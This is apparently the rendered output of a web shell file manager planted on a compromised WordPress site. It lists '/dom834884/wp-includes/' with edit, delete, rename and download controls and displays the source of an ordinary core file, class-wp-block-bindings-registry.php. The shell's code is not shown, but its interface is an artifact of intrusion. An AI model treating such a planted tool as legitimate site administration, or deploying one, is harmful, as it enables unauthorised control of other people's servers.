⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀ ⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀ ⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀ ⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦ www.github.com/caterscam ⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈ ⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀ ⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀ ⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Current Dir: /dom834884/wp-includes/ [DIR] ID3 [ delete | rename ] [DIR] IXR [ delete | rename ] [DIR] PHPMailer [ delete | rename ] [DIR] Requests [ delete | rename ] [DIR] SimplePie [ delete | rename ] [DIR] Text [ delete | rename ] [DIR] assets [ delete | rename ] [DIR] block-bindings [ delete | rename ] [DIR] block-patterns [ delete | rename ] [DIR] block-supports [ delete | rename ] [DIR] blocks [ delete | rename ] [DIR] certificates [ delete | rename ] [DIR] css [ delete | rename ] [DIR] customize [ delete | rename ] [DIR] fonts [ delete | rename ] [DIR] html-api [ delete | rename ] [DIR] images [ delete | rename ] [DIR] interactivity-api [ delete | rename ] [DIR] js [ delete | rename ] [DIR] l10n [ delete | rename ] [DIR] php-compat [ delete | rename ] [DIR] pomo [ delete | rename ] [DIR] rest-api [ delete | rename ] [DIR] sitemaps [ delete | rename ] [DIR] sodium_compat [ delete | rename ] [DIR] style-engine [ delete | rename ] [DIR] theme-compat [ delete | rename ] [DIR] widgets [ delete | rename ] [FILE] admin-bar.php [ edit | delete | rename | download ] [FILE] atomlib.php [ edit | delete | rename | download ] [FILE] author-template.php [ edit | delete | rename | download ] [FILE] block-bindings.php [ edit | delete | rename | download ] [FILE] block-editor.php [ edit | delete | rename | download ] [FILE] block-i18n.json [ edit | delete | rename | download ] [FILE] block-patterns.php [ edit | delete | rename | download ] [FILE] block-template-utils.php [ edit | delete | rename | download ] [FILE] block-template.php [ edit | delete | rename | download ] [FILE] blocks.php [ edit | delete | rename | download ] [FILE] bookmark-template.php [ edit | delete | rename | download ] [FILE] bookmark.php [ edit | delete | rename | download ] [FILE] cache-compat.php [ edit | delete | rename | download ] [FILE] cache.php [ edit | delete | rename | download ] [FILE] canonical.php [ edit | delete | rename | download ] [FILE] capabilities.php [ edit | delete | rename | download ] [FILE] category-template.php [ edit | delete | rename | download ] [FILE] category.php [ edit | delete | rename | download ] [FILE] class-IXR.php [ edit | delete | rename | download ] [FILE] class-avif-info.php [ edit | delete | rename | download ] [FILE] class-feed.php [ edit | delete | rename | download ] [FILE] class-http.php [ edit | delete | rename | download ] [FILE] class-json.php [ edit | delete | rename | download ] [FILE] class-oembed.php [ edit | delete | rename | download ] [FILE] class-phpass.php [ edit | delete | rename | download ] [FILE] class-phpmailer.php [ edit | delete | rename | download ] [FILE] class-pop3.php [ edit | delete | rename | download ] [FILE] class-requests.php [ edit | delete | rename | download ] [FILE] class-simplepie.php [ edit | delete | rename | download ] [FILE] class-smtp.php [ edit | delete | rename | download ] [FILE] class-snoopy.php [ edit | delete | rename | download ] [FILE] class-walker-category-dropdown.php [ edit | delete | rename | download ] [FILE] class-walker-category.php [ edit | delete | rename | download ] [FILE] class-walker-comment.php [ edit | delete | rename | download ] [FILE] class-walker-nav-menu.php [ edit | delete | rename | download ] [FILE] class-walker-page-dropdown.php [ edit | delete | rename | download ] [FILE] class-walker-page.php [ edit | delete | rename | download ] [FILE] class-wp-admin-bar.php [ edit | delete | rename | download ] [FILE] class-wp-ajax-response.php [ edit | delete | rename | download ] [FILE] class-wp-application-passwords.php [ edit | delete | rename | download ] [FILE] class-wp-block-bindings-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-bindings-source.php [ edit | delete | rename | download ] [FILE] class-wp-block-editor-context.php [ edit | delete | rename | download ] [FILE] class-wp-block-list.php [ edit | delete | rename | download ] [FILE] class-wp-block-metadata-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-parser-block.php [ edit | delete | rename | download ] [FILE] class-wp-block-parser-frame.php [ edit | delete | rename | download ] [FILE] class-wp-block-parser.php [ edit | delete | rename | download ] [FILE] class-wp-block-pattern-categories-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-patterns-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-styles-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-supports.php [ edit | delete | rename | download ] [FILE] class-wp-block-template.php [ edit | delete | rename | download ] [FILE] class-wp-block-templates-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-type-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-type.php [ edit | delete | rename | download ] [FILE] class-wp-block.php [ edit | delete | rename | download ] [FILE] class-wp-classic-to-block-menu-converter.php [ edit | delete | rename | download ] [FILE] class-wp-comment-query.php [ edit | delete | rename | download ] [FILE] class-wp-comment.php [ edit | delete | rename | download ] [FILE] class-wp-customize-control.php [ edit | delete | rename | download ] [FILE] class-wp-customize-manager.php [ edit | delete | rename | download ] [FILE] class-wp-customize-nav-menus.php [ edit | delete | rename | download ] [FILE] class-wp-customize-panel.php [ edit | delete | rename | download ] [FILE] class-wp-customize-section.php [ edit | delete | rename | download ] [FILE] class-wp-customize-setting.php [ edit | delete | rename | download ] [FILE] class-wp-customize-widgets.php [ edit | delete | rename | download ] [FILE] class-wp-date-query.php [ edit | delete | rename | download ] [FILE] class-wp-dependencies.php [ edit | delete | rename | download ] [FILE] class-wp-dependency.php [ edit | delete | rename | download ] [FILE] class-wp-duotone.php [ edit | delete | rename | download ] [FILE] class-wp-editor.php [ edit | delete | rename | download ] [FILE] class-wp-embed.php [ edit | delete | rename | download ] [FILE] class-wp-error.php [ edit | delete | rename | download ] [FILE] class-wp-exception.php [ edit | delete | rename | download ] [FILE] class-wp-fatal-error-handler.php [ edit | delete | rename | download ] [FILE] class-wp-feed-cache-transient.php [ edit | delete | rename | download ] [FILE] class-wp-feed-cache.php [ edit | delete | rename | download ] [FILE] class-wp-hook.php [ edit | delete | rename | download ] [FILE] class-wp-http-cookie.php [ edit | delete | rename | download ] [FILE] class-wp-http-curl.php [ edit | delete | rename | download ] [FILE] class-wp-http-encoding.php [ edit | delete | rename | download ] [FILE] class-wp-http-ixr-client.php [ edit | delete | rename | download ] [FILE] class-wp-http-proxy.php [ edit | delete | rename | download ] [FILE] class-wp-http-requests-hooks.php [ edit | delete | rename | download ] [FILE] class-wp-http-requests-response.php [ edit | delete | rename | download ] [FILE] class-wp-http-response.php [ edit | delete | rename | download ] [FILE] class-wp-http-streams.php [ edit | delete | rename | download ] [FILE] class-wp-http.php [ edit | delete | rename | download ] [FILE] class-wp-image-editor-gd.php [ edit | delete | rename | download ] [FILE] class-wp-image-editor-imagick.php [ edit | delete | rename | download ] [FILE] class-wp-image-editor.php [ edit | delete | rename | download ] [FILE] class-wp-list-util.php [ edit | delete | rename | download ] [FILE] class-wp-locale-switcher.php [ edit | delete | rename | download ] [FILE] class-wp-locale.php [ edit | delete | rename | download ] [FILE] class-wp-matchesmapregex.php [ edit | delete | rename | download ] [FILE] class-wp-meta-query.php [ edit | delete | rename | download ] [FILE] class-wp-metadata-lazyloader.php [ edit | delete | rename | download ] [FILE] class-wp-navigation-fallback.php [ edit | delete | rename | download ] [FILE] class-wp-network-query.php [ edit | delete | rename | download ] [FILE] class-wp-network.php [ edit | delete | rename | download ] [FILE] class-wp-object-cache.php [ edit | delete | rename | download ] [FILE] class-wp-oembed-controller.php [ edit | delete | rename | download ] [FILE] class-wp-oembed.php [ edit | delete | rename | download ] [FILE] class-wp-paused-extensions-storage.php [ edit | delete | rename | download ] [FILE] class-wp-phpmailer.php [ edit | delete | rename | download ] [FILE] class-wp-plugin-dependencies.php [ edit | delete | rename | download ] [FILE] class-wp-post-type.php [ edit | delete | rename | download ] [FILE] class-wp-post.php [ edit | delete | rename | download ] [FILE] class-wp-query.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-cookie-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-email-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-key-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-link-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode.php [ edit | delete | rename | download ] [FILE] class-wp-rewrite.php [ edit | delete | rename | download ] [FILE] class-wp-role.php [ edit | delete | rename | download ] [FILE] class-wp-roles.php [ edit | delete | rename | download ] [FILE] class-wp-script-modules.php [ edit | delete | rename | download ] [FILE] class-wp-scripts.php [ edit | delete | rename | download ] [FILE] class-wp-session-tokens.php [ edit | delete | rename | download ] [FILE] class-wp-simplepie-file.php [ edit | delete | rename | download ] [FILE] class-wp-simplepie-sanitize-kses.php [ edit | delete | rename | download ] [FILE] class-wp-site-query.php [ edit | delete | rename | download ] [FILE] class-wp-site.php [ edit | delete | rename | download ] [FILE] class-wp-speculation-rules.php [ edit | delete | rename | download ] [FILE] class-wp-styles.php [ edit | delete | rename | download ] [FILE] class-wp-tax-query.php [ edit | delete | rename | download ] [FILE] class-wp-taxonomy.php [ edit | delete | rename | download ] [FILE] class-wp-term-query.php [ edit | delete | rename | download ] [FILE] class-wp-term.php [ edit | delete | rename | download ] [FILE] class-wp-text-diff-renderer-inline.php [ edit | delete | rename | download ] [FILE] class-wp-text-diff-renderer-table.php [ edit | delete | rename | download ] [FILE] class-wp-textdomain-registry.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json-data.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json-resolver.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json-schema.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json.php [ edit | delete | rename | download ] [FILE] class-wp-theme.php [ edit | delete | rename | download ] [FILE] class-wp-token-map.php [ edit | delete | rename | download ] [FILE] class-wp-url-pattern-prefixer.php [ edit | delete | rename | download ] [FILE] class-wp-user-meta-session-tokens.php [ edit | delete | rename | download ] [FILE] class-wp-user-query.php [ edit | delete | rename | download ] [FILE] class-wp-user-request.php [ edit | delete | rename | download ] [FILE] class-wp-user.php [ edit | delete | rename | download ] [FILE] class-wp-walker.php [ edit | delete | rename | download ] [FILE] class-wp-widget-factory.php [ edit | delete | rename | download ] [FILE] class-wp-widget.php [ edit | delete | rename | download ] [FILE] class-wp-xmlrpc-server.php [ edit | delete | rename | download ] [FILE] class-wp.php [ edit | delete | rename | download ] [FILE] class-wpdb.php [ edit | delete | rename | download ] [FILE] class.wp-dependencies.php [ edit | delete | rename | download ] [FILE] class.wp-scripts.php [ edit | delete | rename | download ] [FILE] class.wp-styles.php [ edit | delete | rename | download ] [FILE] comment-template.php [ edit | delete | rename | download ] [FILE] comment.php [ edit | delete | rename | download ] [FILE] compat.php [ edit | delete | rename | download ] [FILE] cron.php [ edit | delete | rename | download ] [FILE] date.php [ edit | delete | rename | download ] [FILE] default-constants.php [ edit | delete | rename | download ] [FILE] default-filters.php [ edit | delete | rename | download ] [FILE] default-widgets.php [ edit | delete | rename | download ] [FILE] deprecated.php [ edit | delete | rename | download ] [FILE] embed-template.php [ edit | delete | rename | download ] [FILE] embed.php [ edit | delete | rename | download ] [FILE] error-protection.php [ edit | delete | rename | download ] [FILE] feed-atom-comments.php [ edit | delete | rename | download ] [FILE] feed-atom.php [ edit | delete | rename | download ] [FILE] feed-rdf.php [ edit | delete | rename | download ] [FILE] feed-rss.php [ edit | delete | rename | download ] [FILE] feed-rss2-comments.php [ edit | delete | rename | download ] [FILE] feed-rss2.php [ edit | delete | rename | download ] [FILE] feed.php [ edit | delete | rename | download ] [FILE] fonts.php [ edit | delete | rename | download ] [FILE] formatting.php [ edit | delete | rename | download ] [FILE] functions.php [ edit | delete | rename | download ] [FILE] functions.wp-scripts.php [ edit | delete | rename | download ] [FILE] functions.wp-styles.php [ edit | delete | rename | download ] [FILE] general-template.php [ edit | delete | rename | download ] [FILE] global-styles-and-settings.php [ edit | delete | rename | download ] [FILE] http.php [ edit | delete | rename | download ] [FILE] https-detection.php [ edit | delete | rename | download ] [FILE] https-migration.php [ edit | delete | rename | download ] [FILE] kses.php [ edit | delete | rename | download ] [FILE] l10n.php [ edit | delete | rename | download ] [FILE] link-template.php [ edit | delete | rename | download ] [FILE] load.php [ edit | delete | rename | download ] [FILE] locale.php [ edit | delete | rename | download ] [FILE] media-template.php [ edit | delete | rename | download ] [FILE] media.php [ edit | delete | rename | download ] [FILE] meta.php [ edit | delete | rename | download ] [FILE] ms-blogs.php [ edit | delete | rename | download ] [FILE] ms-default-constants.php [ edit | delete | rename | download ] [FILE] ms-default-filters.php [ edit | delete | rename | download ] [FILE] ms-deprecated.php [ edit | delete | rename | download ] [FILE] ms-files.php [ edit | delete | rename | download ] [FILE] ms-functions.php [ edit | delete | rename | download ] [FILE] ms-load.php [ edit | delete | rename | download ] [FILE] ms-network.php [ edit | delete | rename | download ] [FILE] ms-settings.php [ edit | delete | rename | download ] [FILE] ms-site.php [ edit | delete | rename | download ] [FILE] nav-menu-template.php [ edit | delete | rename | download ] [FILE] nav-menu.php [ edit | delete | rename | download ] [FILE] option.php [ edit | delete | rename | download ] [FILE] pluggable-deprecated.php [ edit | delete | rename | download ] [FILE] pluggable.php [ edit | delete | rename | download ] [FILE] plugin.php [ edit | delete | rename | download ] [FILE] post-formats.php [ edit | delete | rename | download ] [FILE] post-template.php [ edit | delete | rename | download ] [FILE] post-thumbnail-template.php [ edit | delete | rename | download ] [FILE] post.php [ edit | delete | rename | download ] [FILE] query.php [ edit | delete | rename | download ] [FILE] registration-functions.php [ edit | delete | rename | download ] [FILE] registration.php [ edit | delete | rename | download ] [FILE] rest-api.php [ edit | delete | rename | download ] [FILE] revision.php [ edit | delete | rename | download ] [FILE] rewrite.php [ edit | delete | rename | download ] [FILE] robots-template.php [ edit | delete | rename | download ] [FILE] rss-functions.php [ edit | delete | rename | download ] [FILE] rss.php [ edit | delete | rename | download ] [FILE] script-loader.php [ edit | delete | rename | download ] [FILE] script-modules.php [ edit | delete | rename | download ] [FILE] session.php [ edit | delete | rename | download ] [FILE] shortcodes.php [ edit | delete | rename | download ] [FILE] sitemaps.php [ edit | delete | rename | download ] [FILE] speculative-loading.php [ edit | delete | rename | download ] [FILE] spl-autoload-compat.php [ edit | delete | rename | download ] [FILE] style-engine.php [ edit | delete | rename | download ] [FILE] taxonomy.php [ edit | delete | rename | download ] [FILE] template-canvas.php [ edit | delete | rename | download ] [FILE] template-loader.php [ edit | delete | rename | download ] [FILE] template.php [ edit | delete | rename | download ] [FILE] theme-i18n.json [ edit | delete | rename | download ] [FILE] theme-previews.php [ edit | delete | rename | download ] [FILE] theme-templates.php [ edit | delete | rename | download ] [FILE] theme.json [ edit | delete | rename | download ] [FILE] theme.php [ edit | delete | rename | download ] [FILE] update.php [ edit | delete | rename | download ] [FILE] user.php [ edit | delete | rename | download ] [FILE] vars.php [ edit | delete | rename | download ] [FILE] version.php [ edit | delete | rename | download ] [FILE] widgets.php [ edit | delete | rename | download ] [FILE] wp-db.php [ edit | delete | rename | download ] [FILE] wp-diff.php [ edit | delete | rename | download ] Viewing: /dom834884/wp-includes/class-wp-block-bindings-registry.php <?php /** * Block Bindings API: WP_Block_Bindings_Registry class. * * Supports overriding content in blocks by connecting them to different sources. * * @package WordPress * @subpackage Block Bindings * @since 6.5.0 */ /** * Core class used for interacting with block bindings sources. * * @since 6.5.0 */ final class WP_Block_Bindings_Registry { /** * Holds the registered block bindings sources, keyed by source identifier. * * @since 6.5.0 * @var WP_Block_Bindings_Source[] */ private $sources = array(); /** * Container for the main instance of the class. * * @since 6.5.0 * @var WP_Block_Bindings_Registry|null */ private static $instance = null; /** * Supported source properties that can be passed to the registered source. * * @since 6.5.0 * @var string[] */ private $allowed_source_properties = array( 'label', 'get_value_callback', 'uses_context', ); /** * Supported blocks that can use the block bindings API. * * @since 6.5.0 * @var string[] */ private $supported_blocks = array( 'core/paragraph', 'core/heading', 'core/image', 'core/button', ); /** * Registers a new block bindings source. * * This is a low-level method. For most use cases, it is recommended to use * the `register_block_bindings_source()` function instead. * * @see register_block_bindings_source() * * Sources are used to override block's original attributes with a value * coming from the source. Once a source is registered, it can be used by a * block by setting its `metadata.bindings` attribute to a value that refers * to the source. * * @since 6.5.0 * * @param string $source_name The name of the source. It must be a string containing a namespace prefix, i.e. * `my-plugin/my-custom-source`. It must only contain lowercase alphanumeric * characters, the forward slash `/` and dashes. * @param array $source_properties { * The array of arguments that are used to register a source. * * @type string $label The label of the source. * @type callable $get_value_callback A callback executed when the source is processed during block rendering. * The callback should have the following signature: * * `function( $source_args, $block_instance, $attribute_name ): mixed` * - @param array $source_args Array containing source arguments * used to look up the override value, * i.e. {"key": "foo"}. * - @param WP_Block $block_instance The block instance. * - @param string $attribute_name The name of the target attribute. * The callback has a mixed return type; it may return a string to override * the block's original value, null, false to remove an attribute, etc. * @type string[] $uses_context Optional. Array of values to add to block `uses_context` needed by the source. * } * @return WP_Block_Bindings_Source|false Source when the registration was successful, or `false` on failure. */ public function register( string $source_name, array $source_properties ) { if ( ! is_string( $source_name ) ) { _doing_it_wrong( __METHOD__, __( 'Block bindings source name must be a string.' ), '6.5.0' ); return false; } if ( preg_match( '/[A-Z]+/', $source_name ) ) { _doing_it_wrong( __METHOD__, __( 'Block bindings source names must not contain uppercase characters.' ), '6.5.0' ); return false; } $name_matcher = '/^[a-z0-9-]+\/[a-z0-9-]+$/'; if ( ! preg_match( $name_matcher, $source_name ) ) { _doing_it_wrong( __METHOD__, __( 'Block bindings source names must contain a namespace prefix. Example: my-plugin/my-custom-source' ), '6.5.0' ); return false; } if ( $this->is_registered( $source_name ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Block bindings source name. */ sprintf( __( 'Block bindings source "%s" already registered.' ), $source_name ), '6.5.0' ); return false; } // Validates that the source properties contain the label. if ( ! isset( $source_properties['label'] ) ) { _doing_it_wrong( __METHOD__, __( 'The $source_properties must contain a "label".' ), '6.5.0' ); return false; } // Validates that the source properties contain the get_value_callback. if ( ! isset( $source_properties['get_value_callback'] ) ) { _doing_it_wrong( __METHOD__, __( 'The $source_properties must contain a "get_value_callback".' ), '6.5.0' ); return false; } // Validates that the get_value_callback is a valid callback. if ( ! is_callable( $source_properties['get_value_callback'] ) ) { _doing_it_wrong( __METHOD__, __( 'The "get_value_callback" parameter must be a valid callback.' ), '6.5.0' ); return false; } // Validates that the uses_context parameter is an array. if ( isset( $source_properties['uses_context'] ) && ! is_array( $source_properties['uses_context'] ) ) { _doing_it_wrong( __METHOD__, __( 'The "uses_context" parameter must be an array.' ), '6.5.0' ); return false; } if ( ! empty( array_diff( array_keys( $source_properties ), $this->allowed_source_properties ) ) ) { _doing_it_wrong( __METHOD__, __( 'The $source_properties array contains invalid properties.' ), '6.5.0' ); return false; } $source = new WP_Block_Bindings_Source( $source_name, $source_properties ); $this->sources[ $source_name ] = $source; return $source; } /** * Unregisters a block bindings source. * * @since 6.5.0 * * @param string $source_name Block bindings source name including namespace. * @return WP_Block_Bindings_Source|false The unregistered block bindings source on success and `false` otherwise. */ public function unregister( string $source_name ) { if ( ! $this->is_registered( $source_name ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Block bindings source name. */ sprintf( __( 'Block binding "%s" not found.' ), $source_name ), '6.5.0' ); return false; } $unregistered_source = $this->sources[ $source_name ]; unset( $this->sources[ $source_name ] ); return $unregistered_source; } /** * Retrieves the list of all registered block bindings sources. * * @since 6.5.0 * * @return WP_Block_Bindings_Source[] The array of registered sources. */ public function get_all_registered() { return $this->sources; } /** * Retrieves a registered block bindings source. * * @since 6.5.0 * * @param string $source_name The name of the source. * @return WP_Block_Bindings_Source|null The registered block bindings source, or `null` if it is not registered. */ public function get_registered( string $source_name ) { if ( ! $this->is_registered( $source_name ) ) { return null; } return $this->sources[ $source_name ]; } /** * Checks if a block bindings source is registered. * * @since 6.5.0 * * @param string $source_name The name of the source. * @return bool `true` if the block bindings source is registered, `false` otherwise. */ public function is_registered( $source_name ) { return isset( $this->sources[ $source_name ] ); } /** * Wakeup magic method. * * @since 6.5.0 */ public function __wakeup() { if ( ! $this->sources ) { return; } if ( ! is_array( $this->sources ) ) { throw new UnexpectedValueException(); } foreach ( $this->sources as $value ) { if ( ! $value instanceof WP_Block_Bindings_Source ) { throw new UnexpectedValueException(); } } } /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 6.5.0 * * @return WP_Block_Bindings_Registry The main instance. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } }